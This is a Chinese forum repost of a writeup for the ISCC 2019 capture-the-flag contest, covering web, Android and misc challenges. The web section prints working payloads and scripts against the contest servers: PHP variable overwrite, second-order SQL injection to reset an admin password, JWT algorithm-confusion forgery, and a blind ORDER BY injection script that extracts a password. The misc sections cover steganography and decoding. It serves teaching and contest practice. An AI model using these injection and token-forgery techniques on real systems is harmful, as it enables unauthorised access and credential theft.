|
本帖最后由 1337163122 于 2021-4-20 22:47 编辑
一篇较为简单经典的CTF Writeup天策安全技术联盟 前天
一、Web
0x01. web4
靶机:http://39.100.83.188:8066
知识点:代码审计,函数使用不恰当,变量覆盖
原题:https://www.securepatterns.com/2019/04/
步骤:
1.打开靶机,发现直接显示了源码。
2.审一下,发现了当传入的参数中 action 为 auth,并且 key 和 hashed_key 相等时,就给出 flag。
3.但注意,这里有用到一个非常危险的函数 parse_str,参看 https://www.php.net/manual/zh/function.parse-str.php,如果传入的是 query_string(形如 a=1&b=2 ),那么就会将其解析为变量(设置变量 a=1, b=2)
4.好说了,那么我们就可以玩变量覆盖了,将 hashed_key 覆盖为我们想要的值即可,那么这里我选择覆盖 sha256(“glzjin”) = b262138fc423f9f944a3161a28e3e7e3a1e779c39c5240f0399f923053e6e371,payload 如下:
/?action=auth&key=glzjin&hashed_key=b262138fc423f9f944a3161a28e3e7e3a1e779c39c5240f0399f923053e6e371
5. Flag 到手~
0x02. web2
靶机:http://39.100.83.188:8002/
知识点:暴力破解,验证码绕过
步骤:
1.打开靶机,发现是个登录页面。
2.测试登录,抓个包试试。
3.OK,既然提示了三位数字,那么就来暴力破解吧。
还观察到一个有意思的现象,要是不访问 /vcode.php,不产生 session,不带上 cookie 访问的话,那么验证码就形同虚设了,可以绕过了。
所以 Python 脚本如下:
4.跑一下~
5.Flag 到手~
0x03. web1
靶机:http://39.100.83.188:8001
知识点:代码审计,PHP函数缺陷(特性?)
步骤:
1.打开靶机,又是直接看到源码了。
- <?phperror_reporting(0);require 'flag.php';$value = $_GET['value'];$password = $_GET['password'];$username = '';for ($i = 0; $i < count($value); ++$i) { if ($value[$i] > 32 && $value[$i] < 127) unset($value); else $username .= chr($value[$i]); if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) { echo 'Hello '.$username.'!', '<br>', PHP_EOL; echo $flag, '<hr>'; }}highlight_file(__FILE__);<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码
2.审代码。
首先看到从请求中获取了 value 和 password,其中 value 是个数组,先判断是否大于 33 小于 127,符合会被 unset 不处理,不符合的才基于 ASCII 码表将其中的元素逐个从数字转为字符,拼接成用户名。
然后判断用户名是否为 w3lc0me_To_ISCC2019,再判断用 intval 之后的 password 是否小于 2333, intval 之后的 password + 1 是否大于 2333。
3.看到这里,
会对传入值取 256 模。那么我们传入一个大一些的数字就可以绕过了。
input_str = input()result = ''for i in input_str: result += '&value[]=' + str(ord(i) + 256)print(result)
- 对于 password 的判断,想起了 intval 的缺陷,只处理能处理的字符,比如对于 intval(‘0x01’),执行之后返回 0,但要是 intval(‘0x01’ + 1) 呢?PHP 会先将 ‘0x01’ 视作十六进制数与 1 相加,再丢给 intval 处理,那么结果就是 2,可以用下面的代码进行测试。
<?php//0echo intval('0x01').' ';//2echo intval('0x01' + 1).' ';
4. OK,那对照 ASCII 码表,以及上面我们的结论,得出以下 payload:
/?password=0xaaaa&value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313
0xaaaa = 43690 > 2333
5. 请求一下~
6. Flag 到手~
0x04. web3
靶机:http://39.100.83.188:8065/
知识点:二次注入
原题以及注意:此题解法不确定,虽然是 SQLi-Labs 的原题https://bbs.pediy.com/thread-251338.htm,但是大家都在试- -也不知道谁的方法对谁的方法错了。
步骤:
1.打开靶机。发现是这样一个页面。
页面标题为 Second Degree Injections,提示其为二次注入。
3.那么就来注册个带二次注入的账号试试。
4.再登录看看。
5.重新改个密码,原密码我输入了 123456。
6. 点提交,猜测程序是直接调用用户名,传到 sql 请求的时候没做过滤,所以这里执行的 sql 语句就大概是 update users set password=’123456′ where username=’admin’—-*****,可以直接改 admin 的密码了。看页面这个样子似乎是改成功了?
7.用 admin 和 123456 试试,登录成功。
PS: 这里可以写个脚本 用 admin 和 123456 不断登录试试,总有师傅会把密码改成 123456,这样捡别人的也可以了。
8. Flag 到手~
0x05. web6
靶机:http://39.100.83.188:8053/
原题:https://www.anquanke.com/post/id/145540
知识点:代码泄露,JWT 原理
步骤:
1.打开靶机,发现是这样一个页面。
2.那么就先注册了。
3.登录看看。
4.提交,抓包看看。
5. Authorization 这个头特别有意思,BASE64 解码看看。
6.看起来是 JWT,那么就到 https://jwt.io/ 解码看看。
7.OK,那么再来看看网页源码。
看到 /static/js/common.js,
最后有一段
function getpubkey(){ /* get the pubkey for test /pubkey/{md5(username+password)} */}
咦,这是可以泄露 pubkey 了- -?
8.那么就构造个访问看看,我的用户名 glzjin,密码 123456,那么 md5(“glzjin123456”) 就是 578a0a535bce1db2a2de0cd58b776ebf
访问 /pubkey/578a0a535bce1db2a2de0cd58b776ebf
获得了 pubkey。
9. OK,那么我们来尝试更改一下 alg 所指代的算法,将其从 RS256 这种非对称加密改成 HS256 这种对称加密,这样我们有公钥就可以伪造 JWT Token 从而为所欲为了。
10.首先把 pubkey 存到一个文本文件里。空格换行自己处理好。
11.然后用 Python 脚本来伪造令牌,payload 部分填写自己想要的内容。
import jwtpublic = open('1.txt', 'r').read()print(jwt.encode({"name": "glzjin","priv": "admin"}, key=public, algorithm='HS256'))
12.运行,报错了。
Never mind,我们直接去库源码里把这一段删了。
再运行,就可以得到新的 JWT Token 了。
13.然后将这个 JWT Token 放到 LocalStorage 里,覆盖原先的 Token。
14.list 一下,看到开头那里是 admin 留的东西。
15.访问看看。/text/admin:22f1e0aa7a31422ad63480aa27711277
16. Flag 到手~
0x06. web5
靶机:http://39.100.83.188:8054/
知识点:User-Agent 伪造,参数猜解,Order By 注入
步骤:
1.打开靶机,提示这种东西。
2.那看看伪造 User-Agent 能不能成。
Http 头设置 User-Agent 为 aaaUnion.373,成了!
3.然后提示要用户名,来猜测下参数试试。
更改请求为 POST,添加一个参数 username,再发出请求。
OK,不再提示请输入用户名,username 这个参数猜出来了。
4.如法炮制,猜出 password 这个参数。
5.提示组织成员密码即为 flag。那么我们就来看看有没有注入能读出 flag 吧。
6.测试注入点。第二列为用户名列。猜测第三列为密码列。
发现其屏蔽了很多东西,where,and,括号,等号,下划线都给屏蔽了。
7.尝试构造请求绕过验证,获取用户名 union_373_Tom。
相当于 select * from table_name where username=”*/*’ and password=’*/”
等效于 select * from table_name where username=”*”
=”*”就任意匹配了,自己找个表做个实验可以验证。
相当于 select * from table_name
8.拿到用户名之后,来看看能不能搞到密码。
多方测试后,payload 如下
username=union_373_Tom' union all select 1,2,'1' /*&password=*/ order by 3,2,'1
解释一下,这里会查询到两条记录,一条是 union_373_Tom 的(下文用原条目表示),还有一条是我们 union 进去的 2 的(下文用新条目表示)。
后面的 order by 排序是关键,首先对第三列也就是我们猜测的密码列进行排序,默认是升序的,字典序小的在前面。程序返回的都是排第一个的条目。
所以有三种情况,
- 要是新条目第三列密码列(上文 payload 里为 ‘1’)字典序小于原条目第三列密码列,返回的就是新条目。
- 要是相等就继续跳到第二列比较,第二列数据都是已知的,必然是新条目在前面,返回的就是新条目了。
- 要是大于就返回原条目了。
构造了一个布尔条件,实现了我们可控的新条目的密码列与原条目密码列的字典序比较(小于等于)。
9.OK,那就说明我们可以构造请求,把原条目的密码给逐位跑出来了。
Python 脚本如下:
- import binasciiimport requestsurl = "http://39.100.83.188:8054/"def half(payload): low = 0 high = 126 while low <= high: mid = (low + high) / 2 # 等效于 chr(int(mid)) <= chr(int(target)) if http_get(payload + chr(int(mid))): low = mid + 1 else: high = mid - 1 mid_num = chr(int((low + high) / 2)) return mid_numdef http_get(payload): str_16 = binascii.b2a_hex(payload.encode('utf-8')) print(str_16.decode()) payload = "username=union_373_Tom'%20union%20all%20select%201%2C2%2C0x" + str_16.decode() + "%20%2F*&password=*%2F%20order%20by%203%2C2%2C'1" headers = { 'user-agent': "aaaUnion.373", 'Content-Type': "application/x-www-form-urlencoded" } response = requests.request("POST", url, data=payload, headers=headers) response.encoding = 'utf-8' if response.text.find('组织欢迎你,2!') != -1: return True else: return Falsereturn_str = ''# # 二分跑法# 需要运行两次,中间有个特殊字符被过滤了- -# 第一次:# return_str = ''# 第二次# return_str = '1SCC_'# while True:# temp_return_str = half(return_str)# if temp_return_str == '~':# break## return_str += temp_return_str# print(return_str)# # 最后一位需要特殊处理,因为和原文相等了- -# return_str = return_str[:-1] + chr(ord(return_str[-1]) + 1)# 顺序跑法 需要请求 N*127 次 但只用运行一次while True: for i in range(0, 127): temp_return_str = chr(i) if not http_get(return_str + temp_return_str): break if ord(temp_return_str) == 33: break return_str += chr(ord(temp_return_str) - 1) print(return_str)print(return_str)<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码
有两种跑法,二分和顺序,二分的话得运行两次,因为 order by 遇到下划线之类的符号似乎不得劲儿,顺序法的话还好,不受干扰。
关于这里
if ord(temp_return_str) == 33: break
这个 33,为 ASCII 的第一个可视字符(前面为空格)。Mysql 似乎会忽略 ASCII 码小于 32 的不可视字符。而到了 33 一直跑下去,就永远是新条目字典序大,返回的就一直是原条目了。
10.运行脚本。
11.得到 Flag~
二、Mobile
0x01. Mobile01
知识点:Android逆向,NDK 静态分析
步骤:
1.安装一下,看看这是啥玩意儿。
输入注册码的话,会提示错误。
2.那么来解包看看。
3.然后用 dex2jar 把 dex 给解解。
d2j-dex2jar.sh classes.dex
4.然后用 jd-gui 打开看看。看到 com.iscc.crackme 的 MainActivity
5.审下代码,看到那个按钮按下之后会调用 checkFirst 和 checkSecond 两个方法,checkFirst 里先判断长度是否为 16 位,然后依次判断各位上是否为大于 0 小于 9 的数字(1~8),符合要求就返回 True。而对于 checkSecond,我们需要到 NDK 里看看了。
6.这里我们选择 lib/x86 下的 so 来分析。拖进 ida。
7.直接看到NDK调用的入口函数 Java_com_iscc_crackme_MainActivity_checkSecond,F5 看看。
可以看到主要是 checkfirst 和 checkAgain 两个函数在起作用,并且传入他们的参数似乎就是从 Java 程序里传过来的参数–那个注册码。
8.先看 checkfirst。
上面两个判断(别问我- -这里我没看明白),决定是处理前八位还是后八位,然后在这八位里逐位看后面的是否大于前面的,那么前八位和后八位中就必然有一段是 12345678 了。
9.再来看看 checkAgain。
一样的套路,和之前一样的判断。v13 那里似乎是把前八位取出来了,并且将其转换为对应的整型数字 – 1(减去的是 ASCII 码 49,也就是字符 1)了,而 v9那里则是把后八位给取出来了,v10,v11,v12按照地址进行计算,则分别是第十位,第十五位,第十六位。
再来看下面的判断,首先是第十六位和第九位相加要等于 5+2(前面转换的时候每一位都减 1 了) 也就是 7,第十位与第十五位相加要等于 12 + 2(同上) 也就是14。
而两个循环嵌套的情况下,就是前八位先对自身比较,确保没有重复的数字,后八位也是如此。再就是要求拆开之后看,前八位和后八位,相同位置上的数之间的差的绝对值不能相等。举个例子,我们有 12345678 31524678,这里前八位 3 – 1 = 2,而后八位 5 – 3 =2 ,这样就不符合条件了。
有这些理论条件做基础,我们就可以编写程序来调用这个 so 库进行爆破了。
11.打开 AndroidStudio,新建一个 APP。包名要和被爆破的源 APP 一致,为 com.iscc.crackme。
12.把之前解包出来的文件夹里的 libs 文件夹拷到我们创建的这个项目里。
13.修改 app 目录里的 build.gradle,添加如下的代码,使其打包时带上 NDK。
- task nativeLibsToJar(type: Zip, description: "create a jar archive of the native libs") { destinationDir file("$projectDir/libs") baseName "Native_Libs2" extension "jar" from fileTree(dir: "libs", include: "**/*.so") into "lib"}tasks.withType(JavaCompile) { compileTask -> compileTask.dependsOn(nativeLibsToJar)}<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码
13.再修改 MainActivity,添加爆破相关逻辑。
- package com.iscc.crackme;import android.os.Bundle;import android.support.design.widget.FloatingActionButton;import android.support.design.widget.Snackbar;import android.support.v7.app.AppCompatActivity;import android.support.v7.widget.Toolbar;import android.view.View;import android.view.Menu;import android.view.MenuItem;import android.widget.TextView;public class MainActivity extends AppCompatActivity { static { System.loadLibrary("native-lib"); } private TextView tv; @Override protected void onCreate(Bundle savedInstanceState) { tv = this.findViewById(R.id.test); super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Toolbar toolbar = findViewById(R.id.toolbar); setSupportActionBar(toolbar); FloatingActionButton fab = findViewById(R.id.fab); fab.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { System.out.println("Start~"); for(int i1 = 1; i1 <= 8; i1++) { for(int i2 = 1; i2 <= 8; i2++) { if(i1 == i2) { continue; } for(int i3 = 1; i3 <= 8; i3++) { if(i1== i3 || i2 == i3) { continue; } for(int i4 = 1; i4 <= 8; i4++) { if(i1 == i4 || i2 == i4 || i3 == i4) { continue; } for(int i5 = 1; i5 <= 8; i5++) { if(i1 == i5 || i2 == i5 || i3 == i5 || i4 == i5) { continue; } for(int i6 = 1; i6 <= 8; i6++) { if(i1 == i6 || i2 == i6 || i3 == i6 || i4 == i6 || i5 == i6) { continue; } for(int i7 = 1; i7 <= 8; i7++) { if(i1 == i7 || i2 == i7 || i3 == i7 || i4 == i7 || i5 == i7 || i6 == i7) { continue; } for(int i8 = 1; i8 <= 8; i8++) { if(i1 == i8 || i2 == i8 || i3 == i8 || i4 == i8 || i5 == i8 || i6 == i8 || i7 == i8) { continue; } for(int i9 = 1; i9 <= 8; i9++) { for(int i10 = 1; i10 <= 8; i10++) { if(i9 == i10) { continue; } for(int i11 = 1; i11 <= 8; i11++) { if(i9 == i11 || i10 == i11) { continue; } for(int i12 = 1; i12 <= 8; i12++) { if(i9 == i12 || i10 == i12 || i11 == i12) { continue; } for(int i13 = 1; i13 <= 8; i13++) { if(i9 == i13 || i10 == i13 || i11 == i13 || i12 == i13) { continue; } for(int i14 = 1; i14 <= 8; i14++) { if(i9 == i14 || i10 == i14 || i11 == i14 || i12 == i14 || i13 == i14) { continue; } for(int i15 = 1; i15 <= 8; i15++) { if(i9 == i15 || i10 == i15 || i11 == i15 || i12 == i15 || i13 == i15 || i14 == i15) { continue; } for(int i16 = 1; i16 <= 8; i16++) { if(i9 == i16 || i10 == i16 || i11 == i16 || i12 == i16 || i13 == i16 || i14 == i16 || i15 == i16) { continue; } String testStr = ""; testStr += i1; testStr += i2; testStr += i3; testStr += i4; testStr += i5; testStr += i6; testStr += i7; testStr += i8; testStr += i9; testStr += i10; testStr += i11; testStr += i12; testStr += i13; testStr += i14; testStr += i15; testStr += i16; if(MainActivity.this.checkSecond(testStr)) { System.out.println("Found!" + testStr); break; } } } } } } } } } } } } } } } } } System.out.println("End~"); } }); } public native boolean checkSecond(String paramString); @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.menu_main, menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { // Handle action bar item clicks here. The action bar will // automatically handle clicks on the Home/Up button, so long // as you specify a parent activity in AndroidManifest.xml. int id = item.getItemId(); //noinspection SimplifiableIfStatement if (id == R.id.action_settings) { return true; } return super.onOptionsItemSelected(item); }}<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码
写得丑了点,但速度还是挺快的。程序的主要目的就是生成符合上面分析出来的要求的注册码,然后传给 NDK 判断,找到返回为 True 的注册码。
项目打包:
1558434004d291d2e0f9b18676b34d2debad7d9b89下载
14.运行,点一下,开跑。
15.得到符合条件的 1234567836275184,填回去试试。
16.Flag 到手~将这个作为 Flag 提交即可~
三、MISC
0x01. 隐藏的信息
知识点:观察?
步骤:
1.解包之后打开看看这个文件。似乎都是八进制,那转 ASCII 字符试试。
2.不磨叽,上脚本。
import base64f = open("message.txt", "r")s = f.readline().split(' ')result = ''for i in s: if i != '': result += chr(int(i, 8))f.close()print(base64.b64decode(result))
3.运行。
4.Flag 到手~
0x02.最危险的地方就是最安全的地方
知识点:观察?
步骤:
1.解包,发现是个图片,而且打不开。
2.那么 binwalk 走一波,似乎是个压缩文件。
3.解压看看。
4.进去一看,一大堆二维码。
5.每一个二维码内容都差不多。
6.看一下详细信息,发现有一个二维码特别大。
7.hex 编辑器打开看看,发现这么一段。
8.拷出来 Base64 解个码。
9.Flag 到手~提交中间的即可。
0x03.解密成绩单
知识点:.Net 反编译
步骤:
1.解压,是个 exe。
2.PEID 看看,.Net?
3.来,.Net 反编译走一波。https://github.com/icsharpcode/ILSpy/releases
4.然后来随意看看,看到 checkUsername 这个方法。看来用户名是 admin 了。
5.然后看到 checkPassword 这个方法,看来密码是 ISCCq19pc1Yhb6SqtGhliYH688feCH7lqQxtfa2MpOdONW1wmIleBo4TW5n 了。
6.输入进去试试。
7.Flag 到手~
0x04.Welcome
知识点:密文分析
步骤:
1.解包,是个 Txt,打开看看。注意编码切成 GBK。
2.然后来统计一下每一组词的出现频率。这里我们将每组词 md5 之后作为 dict 的 key,便于处理。
import hashlibf = open("welcome.txt", "r")s = f.readline().split(' ')def md5(str): m = hashlib.md5() m.update(str.encode()) h = m.hexdigest() return hresult = {}for i in s: key = md5(i) if key not in result: print(i + " " + key) result[key] = 0 result[key] += 1print(result)
3.运行一下,结果如下。其中有四组的数比较多。
分别是:
4.想了蛮久,想试试是不是这四个词分别代表 0 和 1,然后每八位代表一个 ASCII 字符,那我们写个脚本来跑一下每种代表的组合,看能跑出来些什么。
- import hashlibf = open("welcome.txt", "r")s = f.readline().split(' ')def md5(str): m = hashlib.md5() m.update(str.encode()) h = m.hexdigest() return hfor s1 in range(0, 2): for s2 in range(0, 2): for s3 in range(0, 2): for s4 in range(0, 2): dicts = {md5('洮蓠朩暒戶囗'): str(s1), md5('萇條戶囗'): str(s2), md5('萇條蓅烺計劃'): str(s3), md5('洮蓠朩暒蓅烺計劃'): str(s4)} result = '' for i in s: key = md5(i) if key in dicts: result += dicts[key] flag = "" for i in range(0, len(result), 8): flag += chr(int(result[i:i + 8], 2)) print(flag)<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码
5.啊哈,还真跑出来了。
6.Flag 到手~最后一位自己修正下吧。
0x05.倒立屋
知识点:LSB,脑洞
步骤:
1.解压,是个这样的图。
2.hex 编辑器打开看看,没看到什么端倪。
3.打开 StegSolve 看看。
4.点 Analyse–Data Extract,然后 Bit Planes 逐位试试,发现 RGB 都点到 0 的时候(这里显示不全- -用 Tab 切过去忙打上的)开头有东西。
5.直接提交不行,倒过来提交就行了。
6.Flag 到手~
0x06.无法运行的exe
知识点:分析,图片修复。
步骤:
1.解包看看,原本我是想图省事,就先拿 hex 编辑器打开看看了。没想到直接就看到里面是串 base64。
2.解个码看看,似乎是 png。
3.那就找个工具把它转成文件。
4.下载下来还是打不开。
5.找个工具修修。https://github.com/sherlly/PCRT
6.打开修复之后的图片看看,是个二维码。
7.扫描得到 Flag~
8. Flag 到手~
0x07.High起来!
知识点:MP3 隐写,当铺密码
步骤:
1.解包,打开,发现是个图片,但打不开。
2.那就 binwalk 走一波,有个压缩包。
3.解压看看,是个 MP3。
4.Audacity 打开看看,没看见什么端倪。
5.那么还是再回到之前这个 png 吧,hex 打开看看。发现开头有个 PNG,那么我们搜索 504B,把后面的其他数据去掉。
6.然后用 PCRT 修复下。
7.发现是个二维码。
8.扫描一下,得到 中口由羊口中中大中中中井。
9.似乎是当铺密码,解密试试。得到 201902252228 http://www.zjslove.com/3.decode/dangpu/index.html
10.再用 mp3stegohttps://www.petitcolas.net/steganography/mp3stego/ 来处理下。
cd 到这里。
Decode.exe -X 01.mp3 -P 201902252228
11.打开 01.mp3.txt,得到如下的 HTML Markup
flag{PrEtTy_1ScC9012_gO0d}
12.上个 Python 脚本解码。
- import HTMLParsers = 'flag{PrEtTy_1ScC9012_gO0d}'h = HTMLParser.HTMLParser()print(h.unescape(s))<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码
13.运行
14.Flag 到手~
0x08.他们能在一起吗?
步骤:
1.是个二维码。
2.扫一下得 UEFTUyU3QjBLX0lfTDBWM19ZMHUlMjElN0Q=,解码得 PASS%7B0K_I_L0V3_Y0u%21%7D,URL Decode 之后得 PASS{0K_I_L0V3_Y0u!}。看起来是密码。
3.binwalk 看下,还有个压缩文件。
4.解压,需要密码,填入上面得到的密码。
5.打开解压出来的文件。
6.Flag 到手~
PS: 我也想要女朋友呀ヾ(=・ω・=)o
0x09.Keyes’ secret
步骤:
1.解包之后是个文本文件。
2.题面有提示键盘。那么就考虑是键盘密码了。上网找个脚本来解。https://nitesculucian.github.io/2018/09/30/dctf-2018-message/
这里我们就处理 {} 包起来的密文就好,因为这脚本里的字典和这题用到的还是有些不同的,要扩充太多就很累了。
最终 Python 脚本如下:
- keyboard = [ [[" "], ["QWERTY", "ASDFGH", "ZXCVBN"]], [["A"], ["XCVBGRD", "GRDXCVB", "ZSEFVCX"]], [["B"], ["WSXCFD", "RFVBHG", "QAZXDS", "YHNMKJ"]], [["C"], ["REDCV", "EWSXC", "TRFVB"]], [["D"], ["EDCVGR", "WSXCFE", "YHNMKU"]], [["E"], ["EDCVRF", "WSXCDE", "TGBNHY"]], [["F"], ["REDCF", "TRFVG", "EWSXD"]], [["G"], ["REDCVG", "CVGRED", "CVRGED"]], [["H"], ["WSXDRFV", "EDCFTGB", "RFVGYHN"]], [["I"], ["WSX", "EDC", "RFV"]], [["J"], ["UJMN", "WSXZ", "RFVC"]], [["K"], ["EDCFBY", "WSXDVR", "QAZSCE"]], [["L"], ["WSXCV", "EDCVB", "RFVBN"]], [["M"], ["ZAQWDRTGB", "XSWEFTYHN", "XSWEFTYNH"]], [["N"], ["ZAQWDVFR", "XSWEFTGB", "XSWEFTBG"]], [["O"], ["QAZXCDEW", "WSXCVFRE", "RFVBNHYT", "TGBNMJUY"]], [["P"], ["MNBVCCDERTG", "NBVCXSWERF", "NBVCXSWEFR"]], [["Q"], ["QAZXCDEWV", "EDCVBGTRN", "RFVBNHYTM"]], [["R"], ["MNBVCDRTGHU", "MNBVCDRTGHU", "MNBVCDRTGHU"]], [["S"], ["YTRFVCX", "IUYHNBV", "IUYHNBV"]], [["T"], ["WERTYFV", "RTYUIHN", "RTYUIHN"]], [["U"], ["WSXCVFR", "EDCVBGT", "EDCVBGT"]], [["V"], ["EFVGY", "WDCFT", "WDCFT"]], [["W"], ["EFVGYWDCFT", "EFVGYWDCFT", "EFVGYWDCFT"]], [["X"], ["WDVTDZ", "RGNYGC", "RGNYGC"]], [["Y"], ["JMYI", "EFVT", "EFVT"]], [["Z"], ["QWERDCVB", "ERTGVBN", "ERTGVBN"]]]def nliqwerty_dec(buf): dec_buf = buf result = "" while len(dec_buf) > 0: if dec_buf[:1] == '{' or dec_buf[:1] == '}' or dec_buf[:1] == '.' or dec_buf[:1] == ',': result += dec_buf[:1] dec_buf = dec_buf[1:] continue is_found = False for i in range(11, 2, -1): for count in range(0, 27): for j in keyboard[count][1]: if dec_buf[:i] == j: result += keyboard[count][0][0] dec_buf = dec_buf[i:] is_found = True break if is_found: break print(result)nliqwerty_dec("{WSXIUYHNBVTRFVBTRFVBQWERTYQAZSCEWSXCDEEFVTYHNMKJTGBNMJUYGRDXCVBMNBVCDRTGHUWSXCFEQWERTYTRFVBWSXNBVCXSWERFRFVGYHNWSXCDEMNBVCDRTGHU}")<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码
3.运行
4.Flag 到手~
0x0a.Aesop’s secret
知识点:拼图,AES 加密
步骤:
1.打开看看,是个 gif 图。而且一直在不同位置跳。
2.找个工具分解下。https://zh.bloggif.com/gif-extract
3.将其中间部分拼起来之后,是 “ISCC” 字样。
4.而后用 hex 编辑器打开这个 gif 看看。最后这里有一段 Base64。
5.解码之后 Salted__Pi 开头,说明是 AES 加密。
6.https://www.sojson.com/encrypt_aes.html 解密试试,密码就是上面拼出来的 “ISCC” 。
7.对解密得到的东西再解密一次。
8.Flag 到手~
0x0b.碎纸机
知识点:
步骤:
1.打开看看,是个图片。
2. binwalk 走一波,有压缩包。
3.解压一下。
4.简单看看,是一堆拼图和一个文本文件。
文本文件内容如下:
OpenCV?看来得从图片入手。
5.用 hex 编辑器打开这些图片,发现最后有东西。
6.将 FFD9 之后的十六进制值复制到文本编辑器,搜索 00,开高亮。
7.不断调整窗口大下,并设置让内容适应窗口大小。可以看到非 00 的部分是可以拼成字符的。
第一幅图看来就是 Fl 了。
8.对剩下几幅图也如法炮制。每幅图的内容可能有重复,自己看的时候细心些。
第二幅图:
ag=
第三幅图:
{ISC
第四幅图:
C_
第五幅图:
is_s(这里比较难看,不过最后拼出来之后是个英语句子,所以可以按照内容修正下)
第六幅图:
o_i
第七幅图:
nter
第八幅图:
esti
第九幅图:
ng_
第十幅图:
!}
9.拼起来,就是 Flag={ISCC_is_so_interesting_!}
10.Flag 到手~
|
|